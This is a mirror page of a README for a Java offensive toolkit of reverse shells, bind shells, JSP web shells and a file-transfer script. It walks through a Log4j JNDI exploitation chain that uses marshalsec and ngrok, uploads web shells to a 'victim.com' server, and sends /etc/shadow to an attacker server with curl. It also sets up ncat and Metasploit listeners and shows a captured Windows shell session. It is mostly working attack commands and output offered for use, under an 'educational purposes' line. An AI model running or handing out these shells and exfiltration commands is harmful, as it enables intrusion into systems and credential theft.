java-reverse-tcp

KO | EN

gitlite — search

#javascript #hacktoberfest #ai #typescript #llm #rust #deep-learning #docker #macos #nodejs #windows #cli #kubernetes #open-source

java-reverse-tcp

(★ 70)

JAR, Java, and JSP shells that work on Linux OS, macOS, and Windows OS.

java-reverse-tcp Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# Java Reverse TCP

JAR, JSP, and Java files for communicating with a remote host.

Works on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Program will automatically detect an underlying OS.

Works with both, `ncat` and `multi/handler`.

Built with JDK v8 on Apache NetBeans IDE v17 (64-bit). All the files require Java SE v8 or greater to run.

JAR and Java files were tested with Java v8 update 282 on Windows 10 Enterprise OS (64-bit) and Kali Linux v2023.1 (64-bit).

JSP scripts were tested on Apache Tomcat Version v7.0.100 on XAMPP for Windows v7.4.3 on Windows 10 Enterprise OS (64-bit).

Made for educational purposes. I hope it will help!

## Table of Contents

* [JAR Shells](#jar-shells)
* [Log4j Shells](#log4j-shells)
* [JSP Shells](#jsp-shells)
	* [JSP Reverse Shell](#jsp-reverse-shell)
	* [JSP Web Shells](#jsp-web-shells)
* [JSP File Upload/Download Script](#jsp-file-uploaddownload-script)
	* [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server)
	* [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server)
* [Set Up a Listener](#set-up-a-listener)
* [Runtime](#runtime)

## JAR Shells

Check the source code of JAR files:

* [/src/Reverse Shell/src/reverse/shell/ReverseShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Reverse%20Shell/src/reverse/shell/ReverseShell.java)
* [/src/Reverse Shell/src/reverse/shell/BindShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Bind%20Shell/src/bind/shell/BindShell.java)

---

Open your preferred console from [/jar/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/jar) and run the following commands:

```fundamental
java -jar Reverse_Shell.jar 192.168.8.185 9000

java -jar Bind_Shell.jar 9000
```

## Log4j Shells

This PoC was tested on Kali Linux v2023.1 (64-bit).

**Change the IP address and port number inside the source files as necessary.**

Open your preferred console from [/log4j/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/log4j) and run the following commands:

Compile the source file:

```fundamental
javac ReverseShell.java
```

Start a local web server from the same directory as the compiled class file (i.e., `ReverseShell.class`):

```fundamental
python3 -m http.server 9090

python3 -m http.server 9090 --directory somedirectory
```

Download and build LDAP server:

```bash
apt-update && apt-get install maven

git clone https://github.com/mbechler/marshalsec && cd marshalsec && mvn clean package -DskipTests && cd target
```

Start a local LDAP server and create a reference to the compiled class file on your local web server:

```fundamental
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9090/#ReverseShell
```

Credits to the author of [marshalsec](https://github.com/mbechler/marshalsec)!

Give the local LDAP server a public domain with [ngrok](https://ngrok.com):

```fundamental
./ngrok tcp 1389
```

Build the JNDI string (obfuscate it however you like):

```fundamental
${jndi:ldap://x.tcp.ngrok.io:13337/ReverseShell}
```

## JSP Shells

### JSP Reverse Shell

**Change the IP address and port number inside the script as necessary.**

Copy [/jsp/jsp_reverse_shell.jsp](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/jsp_reverse_shell.jsp) to your projects's root directory or upload it to your target's web server.

Navigate to the file with your preferred web browser.

### JSP Web Shells

Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_post.jsp) based on HTTP POST request.

Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_get.jsp) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands.

## JSP File Upload/Download Script

Check the [simple JSP file upload/download script](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/files.jsp) based on HTTP POST request for file upload and HTTP GET request for file download.

When downloading a file, you must [URL encode](https://www.urlencoder.org) the file path.

### Case 1: Upload the Script to the Victim’s Server

Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC.

Upload a file to the victim's server web root directory from your PC:

```fundamental
curl -s -k -X POST https://victim.com/files.jsp -F file=@/root/payload.exe
```

Download a file from the victim's PC to your PC:

```fundamental
curl -s -k -X GET https://victim.com/files.jsp?file=/etc/shadow -o shadow
```

If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions.

### Case 2: Upload the Script to Your Server

From your JSP reverse shell, run the following cURL commands.

Upload a file from the victim's PC to your server web root directory:

```fundamental
curl -s -k -X POST https://your-server.com/files.jsp -F file=@/etc/shadow
```

Download a file from your PC to the victim's PC:

```fundamental
curl -s -k -X GET https://your-server.com/files.jsp?file=/root/payload.exe -o payload.exe

curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe
```

## Set Up a Listener

To set up a listener, open your preferred console on Kali Linux and run one of the examples below.

Set up `ncat` listener:

```fundamental
ncat -nvlp 9000
```

Set up `multi/handler` listener:

```fundamental
msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit
```

## Runtime

```fundamental
┌──(root💀kali)-[~/Desktop]
└─# ncat -nvlp 9000               
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9000
Ncat: Listening on 0.0.0.0:9000
Ncat: Connection from 192.168.1.117.
Ncat: Connection from 192.168.1.117:49895.
Microsoft Windows [Version 10.0.18363.1556]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Users\W10\Desktop\Reverse Shell>whoami
desktop-4kniu10\w10

C:\Users\W10\Desktop\Reverse Shell>ver

Microsoft Windows [Version 10.0.18363.1556]

C:\Users\W10\Desktop\Reverse Shell>
```

java-reverse-tcp

java-reverse-tcp Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

java-reverse-tcp

java-reverse-tcp Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README